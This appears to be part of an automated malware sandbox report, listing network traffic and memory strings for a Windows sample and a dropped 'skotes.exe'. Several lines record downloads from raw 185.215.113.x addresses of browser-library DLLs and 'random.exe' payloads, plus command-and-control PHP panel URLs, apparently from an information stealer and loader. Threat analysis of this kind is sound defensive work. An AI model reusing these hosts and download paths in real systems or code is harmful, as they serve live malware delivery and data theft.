Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ogs.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4831Host: login.live.com

Source: skotes.exe, 00000017.00000002.3414131340.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: skotes.exe, 00000017.00000002.3414131340.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415
Source: skotes.exe, 00000017.00000002.3414131340.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/fac00b58987e8e7e7b9ca30804042ba5ce90241545
Source: skotes.exe, 00000017.00000002.3414131340.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000017.00000002.3414131340.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe012819001
Source: skotes.exe, 00000017.00000002.3414131340.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe2
Source: skotes.exe, 00000017.00000002.3414131340.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe5ckH2
Source: skotes.exe, 00000017.00000002.3414131340.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe6139
Source: skotes.exe, 00000017.00000002.3414131340.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe61395d7
Source: skotes.exe, 00000017.00000002.3414131340.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exec61395dd
Source: skotes.exe, 00000017.00000002.3414131340.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeem32
Source: skotes.exe, 00000017.00000002.3414131340.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exep
Source: file.exe, 00000000.00000002.2762226429.00000000015F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2762226429.0000000001607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeBCP
Source: file.exe, 00000000.00000002.2762226429.0000000001607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeIC
Source: file.exe, 00000000.00000002.2758018084.000000000075C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2762226429.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2758018084.0000000000714000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2762226429.0000000001607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2762226429.0000000001607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2762226429.0000000001607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2762226429.0000000001607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllyVb
Source: file.exe, 00000000.00000002.2762226429.0000000001607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2762226429.0000000001607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllYUB
Source: file.exe, 00000000.00000002.2762226429.0000000001607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dlloUT
Source: file.exe, 00000000.00000002.2762226429.0000000001607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2762226429.0000000001607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll5Tf
Source: file.exe, 00000000.00000002.2762226429.0000000001607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllJ6
Source: file.exe, 00000000.00000002.2762226429.0000000001607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Yg
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2758018084.000000000075C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2762226429.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2790506666.000000002399F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2758018084.0000000000714000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2790506666.000000002399F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php&-
Source: file.exe, 00000000.00000002.2758018084.000000000075C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php1c2fec0e1cf74e8735ec95795d26Extension
Source: file.exe, 00000000.00000002.2790506666.000000002399F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php2
Source: file.exe, 00000000.00000002.2790506666.000000002399F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpG
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpR
Source: file.exe, 00000000.00000002.2758018084.0000000000714000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.2758018084.0000000000714000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpge
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpn#n
Source: file.exe, 00000000.00000002.2762226429.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.2061
Source: file.exe, 00000000.00000002.2758018084.0000000000714000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ta
Source: skotes.exe, 00000017.00000002.3414131340.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.4
Source: skotes.exe, 00000017.00000002.3414131340.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.3414131340.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000017.00000002.3414131340.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php.c
Source: skotes.exe, 00000017.00000002.3414131340.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpNc
Source: skotes.exe, 00000017.00000002.3414131340.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_219.4.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2787812999.000000001D96C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2795708318.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2384315646.0000000001681000.00000004.00000020.00020000.00000000.sdmp, FIJKEHJJ.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_219.4.dr	String found in binary or memory: https://apis.google.com
Source: file.exe, 00000000.00000002.2790506666.0000000023992000.00000004.00000020.00020000.00000000.sdmp, GCBGIIECGHCAKECAFBFH.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2790506666.0000000023992000.00000004.00000020.00020000.00000000.sdmp, GCBGIIECGHCAKECAFBFH.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: file.exe, 00000000.00000003.2384315646.0000000001681000.00000004.00000020.00020000.00000000.sdmp, FIJKEHJJ.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2384315646.0000000001681000.00000004.00000020.00020000.00000000.sdmp, FIJKEHJJ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2384315646.0000000001681000.00000004.00000020.00020000.00000000.sdmp, FIJKEHJJ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2790506666.0000000023992000.00000004.00000020.00020000.00000000.sdmp, GCBGIIECGHCAKECAFBFH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2790506666.0000000023992000.00000004.00000020.00020000.00000000.sdmp, GCBGIIECGHCAKECAFBFH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2384315646.0000000001681000.00000004.00000020.00020000.00000000.sdmp, FIJKEHJJ.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2384315646.0000000001681000.00000004.00000020.00020000.00000000.sdmp, FIJKEHJJ.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2384315646.0000000001681000.00000004.00000020.00020000.00000000.sdmp, FIJKEHJJ.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_219.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_219.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_219.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_219.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: GCBGIIECGHCAKECAFBFH.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: chromecache_219.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: HDGCGHIJKEGIECBFCBAECGIEBK.0.dr	String found in binary or memory: https://support.mozilla.org
Source: HDGCGHIJKEGIECBFCBAECGIEBK.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: HDGCGHIJKEGIECBFCBAECGIEBK.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: file.exe, 00000000.00000002.2790506666.0000000023992000.00000004.00000020.00020000.00000000.sdmp, GCBGIIECGHCAKECAFBFH.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2384315646.0000000001681000.00000004.00000020.00020000.00000000.sdmp, FIJKEHJJ.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chromecache_219.4.dr	String found in binary or memory: https://www.google.com
Source: file.exe, 00000000.00000003.2384315646.0000000001681000.00000004.00000020.00020000.00000000.sdmp, FIJKEHJJ.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_219.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_219.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_219.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: HDGCGHIJKEGIECBFCBAECGIEBK.0.dr	String found in binary or memory: https://www.mozilla.org
Source: HDGCGHIJKEGIECBFCBAECGIEBK.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: file.exe, 00000000.00000002.2758018084.00000000007F7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2758018084.0000000000714000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.2758018084.00000000007F7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/CFIEBGCBGHIE
Source: HDGCGHIJKEGIECBFCBAECGIEBK.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000002.2758018084.00000000007F7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2758018084.0000000000714000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2758018084.00000000007F7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: HDGCGHIJKEGIECBFCBAECGIEBK.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: HDGCGHIJKEGIECBFCBAECGIEBK.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2790506666.0000000023992000.00000004.00000020.00020000.00000000.sdmp, GCBGIIECGHCAKECAFBFH.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
